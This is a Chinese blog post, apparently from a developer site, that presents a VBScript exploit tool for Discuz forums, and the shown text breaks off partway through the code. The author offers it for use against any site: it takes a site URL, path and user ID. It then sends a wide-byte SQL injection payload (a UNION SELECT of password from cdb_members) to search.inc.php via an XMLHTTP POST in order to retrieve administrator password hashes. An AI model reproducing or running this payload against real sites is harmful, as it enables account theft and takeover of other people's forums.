discuz获取任意管理员密码漏洞利用工具vbs版

最新推荐文章于 2025-11-29 16:24:14 发布

原创

最新推荐文章于 2025-11-29 16:24:14 发布 · 1k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#工具 #python #action #path #wap

本文提供了一个VBS版本的Discuz获取任意管理员密码的漏洞利用工具。通过修改并运行代码，可以利用search.inc.php文件中的漏洞，获取指定UID的管理员密码。用户需提供站点地址、路径和UID，程序会将结果输出到result.txt文件中。

本打算考虑写个python版的，考虑大家的机器环境还是弄了个vbs版

也利于修改

以下是search.inc.php 文件漏洞利用代码VBS版

Dim strUrl,strSite,strPath,strUid

showB()
Set Args = Wscript.Arguments

If Args.Count <> 3 Then
ShowU()
Else
strSite=Args(0)
strPath=Args(1)
strUid=Args(2)
End If

strUrl="action=search&searchid=22%cf’ UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"

   Set objXML = CreateObject("Microsoft.XMLHTTP")
   objXML.Open "POST",strSite & strPath & "index.php", False
   objXML.SetRequestHeader "Accept", "*/*"
   objXML.SetRequestHeader "Accept-Language", "zh-cn"
   objXML.SetRequestHeader "Content-Typ